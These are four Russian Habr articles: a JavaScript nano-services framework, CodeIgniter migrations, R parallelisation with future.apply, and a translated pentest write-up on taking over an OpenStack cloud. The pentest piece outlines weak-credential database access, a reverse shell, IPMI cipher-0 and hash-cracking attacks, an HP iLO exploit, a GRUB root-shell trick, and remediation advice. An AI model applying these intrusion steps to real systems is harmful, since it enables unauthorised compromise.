За термином "нано-сервис" закрепим такое определение - **"самостоятельные компоненты, взаимодействующие друг с другом в пределах одного процесса по контракту, при этом не использующие сеть"**.
Фактически это самые обычные объекты, однако отличия все же есть — компонент "нано-сервиса" явно описывает какие именно функции других сервисов ему требуются и однозначно перечисляет все экспортируемые функции. Компонент не может запросить у другого компонента выполнить что-то вне контракта.
Разрешением всех зависимостей будет заниматься фреймворк, которому будет безразлично, что и в какой последовательности было запрошено, единственное условие — граф зависимостей не должен быть циклическим и все требуемые сервисы должны по итогу быть зарегистрированы до старта системы.
*" — Стоп! — скажете вы. — А что не так с микросервисами?"*
Микросервисы — отличное решение для разделения монолитного приложения и они могут оказаться полезны для разнесения задач на несколько процессов. Однако, использование сети для взаимодействия снижает производительность, добавляет накладные расходы, накладывает ограничения на стиль взаимодействия и может быть небезопасным.
Далее — ситуации недоступности сервиса требуют обработчиков в каждом потребителе. Кроме того сразу же встает вопрос кто будет обслуживать инфраструктуру из десятков сервисов (процессов), отслеживать их статусы, каков сценарий их перезапуска, утилизации и т.п.
Например, микросервисы не подойдут если требуется разделить на компоненты обычное приложение — выделение модуля логирования, обращения к базе, валидатора в отдельные микросервисы выглядит неверным решением проблемы. Микросервисы слишком велики и дороги для таких задач.
*" — Хорошо, тогда почему не классическая DI?"*
Да, инверсия зависимостей позволяет переложить работу по созданию объектов на фреймворк, но никак не может ограничить их использование. Кроме того частенько в запале вместо конкретного сервиса в зависимости может оказаться сам контейнер, из которого динамически может быть запрошено что угодно. Такой стиль жестко блокирует компонент в системе, делая его вынесение и переиспользование фактически невозможным.
*" — И альтернатива — нано-сервисы?"*
Верно, нано-сервис вполне может оказаться инструментом подходящего размера.
Сначала я кратко опишу фреймворк [Antinite](https://github.com/Meettya/antinite), созданный для реализации данного подхода, а затем приведу код.
Схематически концепция выглядит следующим образом:
Имеются компоненты **Foo** и **Bar**, которые соответственно расположены в доменах **Services** и **Shared**. Компоненты экспортируют методы **doFoo** и **getBar**, которые могут быть запрошены другими компонентами.
Домены, в свою очередь, регистрируются фреймворком и становятся доступны в пределах процесса, при этом все взаимодействия происходят через ядро.
Кроме того фреймворк предоставляет метод для доступа к компонентам "извне", позволяя центральной точке запуска приложения взаимодействовать с компонентами.
Так же упомянем что существует механизм разделения прав доступа к методам компонентов, о нем позднее.
**Код данного приложения:**
```
// first service file aka 'foo_service'
class FooService {
getServiceConfig () {
return ({
require: {
BarService: ['getBar']
},
export: {
execute: ['doFoo']
},
options: {
injectRequire : true
}
})
}
doFoo (where) {
let bar = this.BarService.getBar()
return `${where} ${bar} and foo`
}
}
export default FooService
```
```
// first layer file aka 'services_layer'
import { Layer } from 'antinite'
import FooService from './foo_service'
const LAYER_NAME = 'service'
const SERVICES = [
{
name: 'FooService',
service: new FooService(),
acl: 711
}
]
let layerObj = new Layer(LAYER_NAME)
layerObj.addServices(SERVICES)
```
```
// second service file aka 'bar_service'
class BarService {
getServiceConfig () {
return ({
export: {
read: ['getBar']
}
})
}
getBar () {
return 'its bar'
}
}
export default BarService
```
```
// second layer file aka 'shared_layer'
import { Layer } from 'antinite'
import BarService from './bar_service'
const LAYER_NAME = 'shared'
const SERVICES = [
{
name: 'BarService',
service: new BarService(),
acl: 764
}
]
let layerObj = new Layer(LAYER_NAME)
layerObj.addServices(SERVICES)
```
```
// main start point aka 'index'
import { System } from 'antinite'
// load layers, in ANY orders
import './services_layer'
import './shared_layer'
let antiniteSys = new System('mainSystem')
antiniteSys.onReady()
.then(function() {
let res = antiniteSys.execute('service', 'FooService', 'doFoo', 'here')
console.log(res) // -> `here its bar and foo`
})
```
Как видно из кода, компоненты являются обычными объектами, с несколькими дополнительными методами, домены используют экземпляры компонентов, а центральная точка импортирует слои и обращается через системный вызов к конкретному компоненту в конкретном домене.
Кроме того, вызов методов в компонентах-зависимостях — это простой вызов метода объекта, если он синхронный — его можно вызывать синхронно, если асинхронный — то в соответствии с реализацией метода, фреймворк не накладывает никаких ограничений в этом отношении.
В репозитории имеются [дополнительные примеры](https://github.com/Meettya/antinite/tree/master/example2) сервисов.
*" — А что с накладными расходами?"*
Основная работа фреймворка происходит в момент запуска приложения, когда происходит разрешение всех зависимостей. Время задержки будет зависеть от размеров системы, но в целом оно незаметно. Дополнительные задержки возможны при асинхронной инициализации компонентов, тут задержка будет обуславливаться скоростью выполнения задачи (коннекта к базе, открытия порта и т.п.).
Накладные расходы стартовавшей системы минимальны. Выполнение метода другого компонента происходит как выполнение поиска функции-обертки по ключу в словаре, после чего выполняется непосредственно метод компонента из функции-обертки.
Теперь о механизмах прав доступа. Во-первых компонент, экспортируя методы, явно указывает категорию экспорта — *'read', 'write', 'execute'*, таким образом можно разделить их по степени воздействия на систему. Во-вторых слой, регистрируя компонент, указывает маску доступа к компоненту, например *'174'* — говорит о том, что системным вызовам доступны только методы категории *'execute'*, компонентам, находящимся в том же домене — полный набор прав *'read', 'write', 'execute'* и компонентам из других доменов — только методы категории *'read'*.
Следовательно, метод на запись, экспортированный компонентом в одном домене, не может быть вызван компонентом в другом домене. Если ошибочно записать подобную схему в зависимости — фреймворк откажет в ее разрешении.
Фреймворк имеет помощник для legacy-кода, который может облегчить процесс переноса кода.
Кроме того дизайн фреймворка может помочь упростить отладку системы. Имеется дебагер процесса разрешения всех зависимостей, с его помощью станет понятно где разрешение зависимостей выдает ошибку.
Важной особенностью фреймворка так же является то, что есть возможность в любой момент включить аудит системы, получая подробную информацию о том, какие компоненты взаимодействуют между собой и какие параметры при этом передаются.
И в дополнению ко всему система может предоставить текущий граф зависимостей, который несложно визуализировать.
Есть простейший помощник для визуализации, [Antinite Visual Toolkit](https://github.com/Meettya/antinite-visual). Данная библиотека была сделана как пример возможной визуализации, возможно не самый удачный.
Вот так вкратце выглядит концепция нано-сервисов, реализация фреймворка и тулкита к нему.
Если у вас есть вопросы, пожелания, дополнения, критика и предложения — пожалуйста отразите это в комментариях. Кроме того у проекта имеется [gitter-чат](https://gitter.im/Meettya/antinite). На данном моменте мне очень нужна обратная связь для улучшения прототипа.
**Antinite** доступен на [github](https://github.com/Meettya/antinite), и для установки через [npm](https://www.npmjs.com/package/antinite) под лицензией **MIT**. У проекта имеется подробная документация и набор тестов.
*PS. В настоящее время активно разрабатывается рабочий проект с использованием данного фреймворка, подробности, увы, разгласить не могу, но проблем на данном этапе не выявлено.*
*Архитектура позволила вынести в отдельный процесс оказавшуюся ресурсоемкой задачу, полностью переиспользуя часть общего кода и внедрив в зависимости мок сервиса, скрывающий межпроцессное взаимодействие.* | https://habr.com/ru/post/346976/ | null | ru | null |
# Как плохо настроенная БД позволила захватить целое облако с 25 тысячами хостов
Привет, Хабр!
Я не так давно в ИТ, но в последнее время увлёкся темой кибербезопасности. Особенно интересна профессия пентестера. Во время сёрфинга увидел [классную статью «How a badly configured DB allowed us to own an entire cloud of over 25K hosts»](https://medium.com/bugbountywriteup/how-a-badly-configured-db-allowed-us-to-own-an-entire-cloud-of-over-25k-hosts-part-1-2-8846beab691e) от Security Shenanigans. Перевод обеих частей и предлагаю вашему вниманию.
Введение
--------
Из этой статьи вы узнаете, как нам удалось выполнить прямое соединение sqlmap с базой данных с использованием BMC/IPMI для компрометации крупного клиента.
Предыстория
-----------
Пару лет назад наша команда получила задание: провести пентест инфраструктуры в сети Openstack. Он состоял из примерно 2000 физических серверов, на которых размещалось более 25 тысяч виртуальных машин. Работу мы начали в небольшой подсети, в которой было ограничение на объём исходящего трафика. После быстрого сканирования Nmap не удалось найти очевидные уязвимости, которыми можно было бы воспользоваться. Поэтому мы начали изучать доступные нам сервисы. Среди них мы обнаружили беззащитный сервер PostgreSQL, размещенный на сервере разработки. После создания настраиваемого списка слов с несколькими производными названия компании нам удалось пробраться в систему, используя относительно простые данные от учётной записи. Имя пользователя было Postgres, а пароль, допустим, «admin».
Далее мы решили задействовать [sqlmap](https://github.com/sqlmapproject/sqlmap). Этот инструмент был создан для использования SQL-инъекций, но он также может предоставить вам несколько вариантов при установке прямого подключения к базе данных (когда у вас есть данные учётки). Один из этих вариантов — запуск командной оболочки для эксплуатируемой базы данных.
После тестирования шелла мы решили собрать нестандартный пэйлоад (полезную нагрузку), чтобы получить обратное подключение. Это позволило бы работать с большим комфортом.
Сборку пэйлоада мы выполняли с помощью msfvenom. Полезной нагрузкой в этом случае был обратный TCP-шелл для машины с Linux x64. На предыдущем изображении видно, что нам нужно было выбрать архитектуру БД.
*Собираем полезную нагрузку с помощью msfvenom*
Преимущество этого пэйлоада заключается в том, что с его помощью можно получить обратное подключение с помощью простого Netcat. Для большинства других полезных нагрузок требуется что-то вроде [Metasploit](https://ru.wikipedia.org/wiki/Metasploit) (выбирать хэндлер exploit/multi/handler) для тех же самых задач.
После запуска полезной нагрузки с оболочкой sqlmap мы получили наше соединение с сервером.
*Запуск пэйлоада*
*Получение обратного подключения и тестирование доступа*
Использование BMC-устройств
---------------------------
Всякий раз, когда вы выполняете пентест инфраструктуры и компрометируете машину в новом сегменте сети, вам следует повторно выполнить сканирование, чтобы проверить, не появилось ли чего-нибудь нового. Эта БД позволила нам подключиться к облачной сети компании, включая большинство виртуальных машин и хостов. Мы очень обрадовались результатам нового сканирования, поскольку обнаружили несколько устройств BMC.
*Одно из трёх BMC-устройств*
BMC (Baseboard Management Controller, сервисный процессор) — это преимущественное встроенное устройство, подключенное к основному серверу, которое обеспечивает внеполосный мониторинг и контроль. Работает независимо от центрального процессора, BIOS и операционной системы. Ошибки, возникающие в любом из этих элементов, не способны повлиять на его работу. Микроконтроллер имеет собственный процессор, память, сетевой интерфейс, поэтому доступен, даже если сам сервер выключен. Все крупные поставщики оборудования имеют специальные BMC для своих продуктов:
* Dell DRAC
* IBM IMM
* HP iLO
* Supermicro IPMI
Еще один термин, с которым вам необходимо ознакомиться, [IPMI](https://ru.wikipedia.org/wiki/Intelligent_Platform_Management_Interface) (Intelligent Platform Management Interface, интерфейс интеллектуального управления платформой), в основном представляет собой протокол, который вы используете для связи с этими устройствами. Его назначение — мониторинг и управление железом сервера, независимо от операционной системы, даже в тех случаях, когда сервер выключен, но подключен к источнику питания.
Скажем так, IPMI на сегодняшний день является одним из самых небезопасных протоколов, которые вы можете найти. Чтобы дать вам представление, IPMI 2.0 разработан таким образом, что вы можете напрямую запрашивать пользовательский хэш с сервера на этапе аутентификации. Существует и другая уязвимость, когда вы запрашиваете авторизацию в режиме «cipher 0», который позволит вам войти в систему с любым паролем.
*Архитектура блока IPMI*
BMC-устройства, которые вы можете обнаружить, Обычно слабо защищены, так как это тип укстройств, которые настраиваются один раз, на этапе сборки центра обработки данных, а затем используете лишь в тех случаях, когда сервер недоступен обычными средствами.
Мы смогли легко пройти аутентификацию на некоторых устройствах, на которых был включен **cipher 0**.
*Здесь вы можете увидеть, как мы вошли в систему со случайным паролем. Обратите внимание на часть «-C 0».*
*Успешный вход в устройство со случайным паролем*
*Информация о сети для устройства*
Даже если на некоторых устройствах не включен cipher 0, у вас всё равно остаются другие способы входа в систему. Двумя наиболее известными являются либо использование учетных данных по умолчанию (которые системные администраторы обычно не пытаются изменить), либо использование уязвимости раскрытия хэшей (и последующий взлом хешей). Последнее пришлось сделать для большинства устройств.
*Банальные пары логин/пароль по умолчанию для большинства пользователей*
*Список слов, содержащий хэши пользователей, которые мы запрашиваем у сервера*
*Раскрытие пользовательских хэшей с помощью metasploit*
*Сразу получаем данные о типовых хэшах*
Перебрав все хеши, мы начали их взламывать.
*Взлом первых хешей*
Через пару минут мы получили доступ примерно к 600 BMC.
*609 хэшей успешно взломаны*
Была пара устройств HP ILO, которые мы не смогли взломать. К счастью для нас, в HP iLO 4, начиная с версий 1.00 до 2.50, также есть обход аутентификации. Это позволяет вам создать учетную запись администратора через переполнение буфера в HTTP-заголовке подключения, обрабатываемое веб-сервером. [Эксплойт](https://cvedetails.com/cve/CVE-2017-12542/) использует это для получения привилегированного доступа к остальному API, который, в свою очередь, даёт вам права на создание учётных записей.
*Использование CVE-2017–12542*
После этих шагов мы получили полный контроль над 90% BMC-устройств компании. Если вы читали об устройствах BMC, то теперь знаете, что они позволяют:
* Мониторить
* Перезагружать
* Переустанавливать
* KVM (виртуализировать)
подключённые устройства. Это здорово и всё такое, но они только имитируют физический доступ к серверу, вам всё равно нужно попасть внутрь. Да, вы можете похулиганить, выключив устройства, но мы думали, что этого недостаточно, поэтому продолжали копать.
Один из наиболее распространенных способов взлома оборудования, имеющего физический адрес, — это его перезагрузка и управление автозапуском для рут шелла. Вы можете сделать это в Unix, Mac и Windows.
Трудность этого подхода заключается в том, что на каждом сервере обычно размещается около 2000 виртуальных хостов. Итак, нам нужно было найти неиспользуемый сервер. План состоял в том, чтобы выключить его (или только запустить, если он уже был отключен) и отредактировать автозапуск, чтобы предоставить нам root-доступ. После этого мы хотели взглянуть на конфигурацию, чтобы найти какие-либо ошибки/полезные данные, которые позволили бы нам скомпрометировать и другие серверы.
Openstack позволяет запрашивать локальную инфраструктуру и запрашивать определенные параметры. Одним из них является состояние виртуальной машины, которое в случае этой локальной компании было определено как доступность ВМ (белый/чёрный список для приёма трафика) + рабочее состояние (запущена/отключена).
Нам нужно было найти сервер из чёрного списка (рабочее состояние не имело значения), и мы нашли один не работающий из-за проблем с диском. К счастью, нам удалось загрузиться, но некоторые части файловой системы оказались в режиме «только для чтения».
*Запрос openstack о подходящем сервере для взлома*
Как только мы его нашли, то вошли в систему по найденными ранее учётными данными.
*Используем доступы, полученные ранее*
*Доступ к интерфейсу KVM*
Интерфейс KVM имитирует прямое подключение к серверу через BMC. При загрузке вам нужно отредактировать автозагрузку Grub и добавить `ro init = / bin / bash` в соответствующую строку, чтобы загрузиться в [рут-шелл](https://wiki.archlinux.org/index.php/Reset_lost_root_password). Обычно используется флаг чтения и записи (rw), но нам пришлось использовать флаг только для чтения (ro), чтобы предотвратить любые проблемы с неисправным диском.
*Редактирование меню grub*
После входа в систему мы изучили сетевые интерфейсы для проверки возможности подключения к серверу. Как видите, ifconfig показывает более 10 активных интерфейсов.
Потратив некоторое время на то, чтобы проанализировать структуру сети и понять, где мы находимся, мы начали изучать сервер.
Через пару минут мы нашли золотую середину с помощью bash\_history (один из лучших источников ценнейшей информации, который вы можете найти на Linux-машине)
*Учетные данные novadb в bash\_history*
Для тех, кто не знаком с архитектурой Openstack, Nova — это управляющая БД, в которой хранится административная информация для всего облака, такая как сертификаты, квоты, имена экземпляров, метаданные и [много другой важной информации](https://docs.openstack.org/nova/rocky/cli/nova-manage.html).
*Проверка учетных данных*
После входа в систему мы проверили админский доступ, используя grants\_MySQL.
Сделав это, мы можем посмотреть внутреннюю структуру NovaDB.
*Таблицы в базе данных Novadb*
Просматривая информацию о ВМ, мы могли увидеть около 34 тысяч устройств. Однако примерно треть из них была недоступна/не работала. Точное количество можно увидеть в строке запись float\_ips.
Позвольте мне объяснить, почему эти данные из базы данных так важны.
Если вы хотите остановить работу всей компании, вы можете выключить каждый виртуальный сервер через интерфейс BMC. Они не будут работать, пока системные администраторы не включат всё обратно.
Вы можете написать собственное вредоносное ПО для заражения всех серверов, но массовое развертывание по каналам BMC непросто (помните, что нам нужно было запустить неиспользуемый сервер, чтобы отредактировать автозапуск Grub, прежде чем получить к нему доступ).
Однако с доступом к NovaDB вы можете просто повредить базу данных, и вся облачная среда перестанет работать. Даже если предположить, что системный администратор был достаточно сообразителен, чтобы немедленно взглянуть на БД, гораздо сложнее устранить неисправность поврежденной базы данных, чем отсутствующей.
А ещё системный администратор может понять, что что-то не так, и просто перезаписать всё с помощью самой последней резервной копии, верно? Мы тоже подумали об этом. Вот почему мы пошли дальше и скомпрометировали резервные копии.
Сначала мы попытались запросить основную базу данных с помощью чего-то вроде
`SELECT * FROM information_schema.PROCESSLIST AS p WHERE p.COMMAND = 'Binlog Dump';` , но компания использовала собственное решение для резервного копирования, которое выполнялось нерегулярно и без использования схемы «ведущий — ведомый» (master/slave). Поэтому мы продолжили сканирование соседних подсетей, просто чтобы найти базы данных резервного копирования, работающие на том же порту, что и главная.
*Как нам удалось найти резервные копии*
Мы проверили возможность использования имевшихся учётных данных и, конечно же, они подошли.
*Проверка доступа к резервной копии*
Имея собственные резервные копии, мы смогли доказать полную компрометацию инфраструктуры виртуализации, а также способ окончательного завершения операций за несколько минут.
Я всегда люблю заканчивать рецензию/отчет написанием возможных исправлений найденных проблем. При этом их было много, например:
* Повторное использование учетных данных
* Отсутствует сегментация сети
* Банальнейшие пароли
* Небезопасная структура резервного копирования
* Устаревшая прошивка
Одним из критических моментов, который было нелегко исправить, были недостатки протокола IPMI.
Наиболее удачным решением будет размещение серверов с поддержкой BMC в другом сегменте сети с ограниченным и контролируемым списком IP-адресов. Вот так в итоге и поступила эта компания.
Я надеюсь, что вам понравилось наша история. Так же, как и нам было весело изучать эту тему. | https://habr.com/ru/post/520138/ | null | ru | null |
# Миграции баз данных — интеграция с вашим приложением
 Данная статья посвящена практическому использованию библиотеки [Migraton](http://codeigniter.com/user_guide/libraries/migration.html), появившейся в обновлении CodeIgniter версии 2.1.0. Настоятельно рекомендую вам перед ознакомлением с данным материалом прочесть [первую часть статьи](http://habrahabr.ru/blogs/codeigniter/133312/), в которой говорится непосредственно о создании миграций.
#### Постановка задачи и ее решение
*Для начала договоримся, что приложение должно будет обновляться через интерфейс админки, только по логину, а до этого, соответственно, на запросы на любую из страниц будет отдавать 503 ответ.
Промежуточные версии, как и откаты нам пока не нужны, так что сайт будет обновляться сразу до последней версии.*
##### Добавляем оповещение для посетителей
В проекте, для которого я делал интеграцию миграций, все контроллеры также наследуют не базовый *CI\_Controller*, а расширенный *MY\_Controller*, который содержит в своем конструкторе некие служебные действия, в том числе и с базой данных. Поэтому для файла *%site\_path%/application/core/MY\_Controller.php* нам будет необходимо добавить несколько строчек:
```
php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class MY_Controller extends CI_Controller {
protected $db_update = FALSE; // it's TRUE if site's database needs update, FALSE otherwise
public function __construct() {
parent::__construct();
$is_admin_page = is_a($this, 'Admin');
$this-db_update = $this->migration->get_fs_version()!=$this->migration->get_db_version();
if ($this->db_update) {
if (!$is_admin_page)
show_error('Пожалуйста, попробуйте перезайти через несколько минут', 503, 'Простите, на сайте в настоящее время проходят технические работы');
else return TRUE;
}
### Your super overpowered code goes here..
}
}
```
*Примечание: как и в прошлой статье, все файлы с исходным кодом приведены [в конце статьи](#ending)*
Я думаю, что код в целом понятен, стоит лишь заметить, что ошибку мы будем показывать везде, кроме страницы админки (контроллер *Admin*, который унаследует *MY\_Controller*). Но для админки не будем выполнять конструктор дальше, т.к. он может содержать в себе обращения к базе данных, которая имеет устаревшую структуру. Кстати, как вы видите, сначала в конструкторе вызывается код родительского конструктора, что реализует паттерн [Decorator](http://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BA%D0%BE%D1%80%D0%B0%D1%82%D0%BE%D1%80_%28%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%29).
##### Создаем скрипт обновления через админку
В моем случае вся админка находилась в одном контроллере *Admin*, так что и мы для простоты примера возьмем такой же случай.
Этот контроллер админки содержит несколько разноплановых методов, которые позволяют управлять содержимым сайта. Не очень хорошее и элегантное решение, если честно — все же настоятельно советую разносить это по разным контроллерам или даже использовать [HMVC-плагин для CodeIgniter](https://bitbucket.org/wiredesignz/codeigniter-modular-extensions-hmvc/wiki/Home) (на хабре уже был [неплохой пример](http://habrahabr.ru/blogs/codeigniter/130387/) его использования).
Итак, у нас есть задача сделать так, чтобы можно было авторизироваться в админке, и на любой из страниц выводилось предложение обновить базу данных. Для этого отлично подойдет волшебный метод *\_remap*, который будет вызываться при обращении к любому из методов контроллера, и принимать решение, передать управление запрашиваемому методу или ~~показать кукиш~~ сделать какое-либо другое действие:
```
public function _remap($method, $params = array()) {
if (!$this->m_user->authorised() && $method != 'index') {
header('Location:/admin/'); //If user isn't autorised, redirect him to the login form
}
if (!$this->db_update || (!$this->m_user->authorised() && $method== 'index') || $method=='logout' || $method=='update_db') {
return call_user_func_array(array($this, $method), $params); // Calls requested method if it is ok to do so
}
else {
$this->data['body'] = 'Внимание!
=========
Необходимо [обновить базу данных](/admin/update_db)'; // Show update database link
$this->load->view('admin/default.phtml', $this->data);
}
}
```
Тут стоит пояснить, что *m\_user* — модель, которая содержит в себе все методы для работы с пользователями админки (предлагаю вам реализовать самостоятельно), метод *index* умеет показывать форму входа для незалогиненных пользователей, ну а *logout* понятно что делает.
Кроме того, создадим там же метод для обновления базы:
```
public function update_db() {
$this->data['body'] = 'Обновление базы данных успешно завершено
========================================
';
if ( ! $this->migration->current()) {
show_error($this->migration->error_string());
}
$this->load->view('admin/default.phtml', $this->data);
}
```
##### Правим конфиг и тестируем
Наконец, осталось поправить конфиг, и мы сможем воспользоваться всем тем, что написали для нашего проекта. Для этого добавим в автозагрузку класс *Migration*. Теперь строка с авто инициализацией библиотек в моем случае выглядит следующим образом (файл *%site\_path%/application/config/autoload.php*):
```
$autoload['libraries'] = array('database', 'session', 'migration');
```
Еще нам необходимо проверить в файле *%site\_path%/application/config/migration.php*, ключены ли миграции, посмотреть правильно ли указаны к ним путь и версия базы данных, требуемой для корректной работы нашего кода (все точно так же, как и в [прошлой статье](http://habrahabr.ru/blogs/codeigniter/133312/)):
```
$config['migration_enabled'] = TRUE;
$config['migration_version'] = 1;
$config['migration_path'] = APPPATH . 'migrations/';
```
Обратите внимание, что я указал 1-ю версию, что подразумевает, что мы уже сделали функционал рассылок, миграцию для которого мы писали в [предыдущем туториале](http://habrahabr.ru/blogs/codeigniter/133312/).
Теперь вы можете перейти на любую страницу вашего сайта, не относящуюся к админке и должны будете увидеть сообщение об ошибке, т.к. версия базы данных у нас сейчас *нулевая* (при первой инициализации библиотека **Migration** создала в вашей базе табличку migrations и указала там версию 0), а версия кода в конфиге указана *первая*. Перейдя же в админку и пройдя авторизацию, вы увидите предложение обновить базу данных, и нажав на ссылку получите свежее приложение, без необходимости выполнять все запросы вручную!
#### Бонус — скрипт обновления через CLI
В качестве бонуса, рассмотрим создание скрипта для обновления через [cli](http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81_%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%BE%D0%B9_%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B8), который позволит нам автоматизировать миграции при выгрузке их на сайт, например из систем контроля версий с помощью хуков.
К счастью, CodeIgniter в своих последних версиях имеет возможность запускаться из командной строки, что называется из коробки. Поэтому для начала создадим контроллер *%site\_path%/application/controllers/cli.php* с private переменной **$args**, которая будет содержать все аргументы, с которыми был вызван скрипт, кроме названия контроллера и его метода (отсечем их в конструкторе):
```
php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Cli extends MY_Controller {
private $args = array(); // Contains CLI arguments, except controller name and its method
public function __construct() {
parent::__construct();
if(!$this-input->is_cli_request()) {
show_404();
}
$this->output->enable_profiler(FALSE);
$this->args = array_slice($_SERVER['argv'], 3);
}
// Other code goes here..
}
```
Кстати говоря, советую еще обратить внимание на место в конструкторе, где проверяется, пришел ли запрос через CLI. Мы же не хотим чтобы через сайт можно было выполнить служебные методы! Как видите, я еще и профайлер отключил тут, т.к. на тестовых серверах он у меня по умолчанию везде включен, а в CLI он явно был бы лишним.
Наконец, напишем метод для миграций:
```
public function migration() {
if ( !is_array($this->args) || empty($this->args)) {
print ( "Usage: php index.php cli migration [OPTIONS]\n\n" );
print ( "Options are:\n" );
print ( "-l, --last\t\tupdate database to the latest version\n" );
print ( "-c, --current\t\t show current versions of database and code\n" );
exit;
}
for ( $i=0; $iargs); $i++ ) {
$arg = $this->args[$i];
if ( $arg=="-l" || $arg=="--last" ) {
print "Updating your database to the latest version..\n";
if (!$this->migration->current()) {
print $this->migration->error\_string().'\n';
exit;
}
else print "Update complete!\n";
}
elseif ( $arg=="-c" || $arg=="--current" ) {
print 'Current code version is:\t'. $this->migration->get\_fs\_version().'\n';
print 'Current database version is:\t'.$this->migration->get\_db\_version().'\n';
}
}
}
```
Для его вызова нужно всего лишь набрать в командной строке "**php /%index\_dir%/index.php cli migration**" без дополнительных атрибутов, и скрипт вам любезно подскажет доступные для использования опции. Ну а если набрать "**php /%index\_dir%/index.php cli migration -l**", то метод попытается обновить вашу бд, и выдаст вам результат.
Конечно, этот кусок кода всего-лишь пример, который выполняет лишь сами основы, но общее представление о использовании CLI и миграций он даёт, и вам не составит труда добавить, например, опцию '-r ' для апдейта базы до указанной ревизии (что кстати будет простеньким домашним заданием для вас).
#### Заключение
Теперь у нас есть хоть и простой, но отлаженный механизм обновления базы данных, интегрированный в наш проект, который кроме всего прочего умеет предупреждать пользователей о текущем обновлении. Согласитесь, это лучше, чем если бы они увидели баги, связанные с нестыковкой версий базы и кода, или еще какое-либо непотребство. Кроме того, мы теперь можем добавить в нашу любимую систему контроля версий хук, который будет при выгрузке новой версии сайта автоматически обновлять базу.
[Скачать архив с полными исходниками](http://picrand.com/files/migrations2.zip)
[Первая часть: Миграции баз данных — обзор библиотеки и ее использование](http://habrahabr.ru/blogs/codeigniter/133312/) | https://habr.com/ru/post/133395/ | null | ru | null |
# Распараллеливаем код в R за пару минут
Если верить стереотипам, то язык R – это что-то узкоспециализированное для статистики и машинного обучения. Второй стереотип – что код на чистом R не очень быстрый: во-первых, потому что интерпретируемый, во-вторых, потому что исполняется последовательно. Безусловно, стереотипы имеют какую-то связь с реальностью, иначе бы их не существовало, но на то они и стереотипы, что дают экстремально упрощённую картину мира, в которой теряется много деталей. В частности, сегодня я хочу поделиться удивительно простым способом, как добавить параллельность в R и кратно ускорить выполнение уже имеющегося кода без необходимости внесения в него каких-либо серьёзных изменений. Всё это делается буквально за пару минут.
Допустим, у нас есть матрица или таблица данных, содержащая некоторое количество строк и столбцов, и мы хотим для каждой из строк выполнить какое-то однотипное вычисление. Например, посчитать сумму квадратов её значений. Логично вынести расчёты в функцию и вызывать её для каждой из строк.
Исходные данные:
```
a <- matrix(rnorm(500000, mean=0, sd=2), 100000, 50)
```
Функция:
```
sum.of.squares <- function(n) {
n_sq <- sapply(n, function(x) x^2)
sum(n_sq)
}
```
Можно просто перебрать циклом строки, и к каждой из строк применить эту функцию, но это не самый рекомендуемый способ для R. Вычисления для каждой из строк будут выполняться последовательно, все расчёты будут идти на одном ядре. Такой код действительно не очень производителен. На всякий случай запишем такой вариант и замерим время его выполнения:
```
b <- vector()
for(i in 1:dim(a)[1]) {
b[i] <- sum.of.squares(a[i,])
}
```
Замеряем время выполнения:
```
b <- vector()
start_time <- Sys.time()
for(i in 1:dim(a)[1]) {
b[i] <- sum.of.squares(a[i,])
}
timediff <- difftime(Sys.time(), start_time)
cat("Расчёт занял: ", timediff, units(timediff))
```
Получаем:
```
Расчёт занял: 4.474074 secs
```
Будем использовать это время как некоторую отправную точку для сравнения с другими способами.
Выполнение заданной операции над каждой из строк некоторого объекта можно записать в векторизованной форме. Для этого в R есть специальное семейство функций apply(). Для тех кто не знаком с ними, могу порекомендовать статьи по их использованию: [1](https://r-analytics.blogspot.com/2012/11/r-apply.html), [2](https://habr.com/ru/company/infopulse/blog/274611/). Данные функции примечательны тем, что позволяют компактно описать однотипные действия без использования циклов. Даже в нашей функции расчёта суммы квадратов я для краткости использовал одну из таких функций – sapply(), которая выполняет некоторое заданное действие для каждого из элементов поступающего на вход набора значений. В нашем случае – вычисляет квадрат каждого из значений. Если же говорить про применение данной функции к матрице исходных данных, то с использованием функции apply() это можно переписать как:
```
b <- apply(a, 1, function(x) sum.of.squares(x))
```
Действительно, очень компактная запись. Но если замерить время её исполнения, то получим примерно то же, что и у цикла:
```
start_time <- Sys.time()
b <- apply(a, 1, function(x) sum.of.squares(x))
timediff <- difftime(Sys.time(),start_time)
cat("Расчёт занял: ", timediff, units(timediff))
```
Результат:
```
Расчёт занял: 4.484046 secs
```
К слову, уже первый знак после запятой может от запуска к запуску немного меняться. Но суть ясна: это примерно тот же результат, что и с циклом.
Казалось бы, мы возвращаемся к исходному положению, что R считает всё в одном потоке, и от этого значительная часть ресурсов компьютера простаивает без дела. В некотором смысле так и есть: в данный момент функции семейства apply(), хотя потенциально их и можно распараллелить, выполняются последовательно. Но если рассмотреть ситуацию немного шире, то уже сейчас идёт работа, чтобы сделать их параллельными. Более того, уже сейчас эти функции из будущего можно загрузить и использовать вместо обычных функций семейства apply(). Помимо непосредственно функции apply() распараллеливаются также функции by(), eapply(), lapply(), Map(), .mapply(), mapply(), replicate(), sapply(), tapply(), vapply(). Со временем параллельные реализации этих функций заменят текущие, а пока что для их использования необходимо поставить специальный пакет future\_apply:
```
install.packages("future.apply")
```
Буквально несколько секунд – и вот он установлен. После этого его надо подключить и указать, что расчёт пойдёт в многоядерном режиме:
```
library("future.apply")
plan(multiprocess)
```
Есть различные параметры запуска. Например, поддерживается расчёт на распределённом кластере. Текущие настройки параллельного расчёта можно посмотреть используя команду future::plan(). Чтобы пользоваться возможностями параллельного расчёта, код основной программы менять практически никак не нужно, достаточно дописать к функциям apply приставку "future\_". Получим:
```
b <- future_apply(a, 1, function(x) sum.of.squares(x))
```
Запустим с замером времени:
```
start_time <- Sys.time()
b <- future_apply(a, 1, function(x) sum.of.squares(x))
timediff <- difftime(Sys.time(),start_time)
cat("Расчёт занял: ", timediff, units(timediff))
```
Получаем уже совсем другое время выполнения:
```
Расчёт занял: 1.283569 secs
```
В моём случае расчёт производился на Intel Core i7-8750H с 12 логическими ядрами. Полученное ускорение конечно не 12-кратное, но всё же довольно приличное.
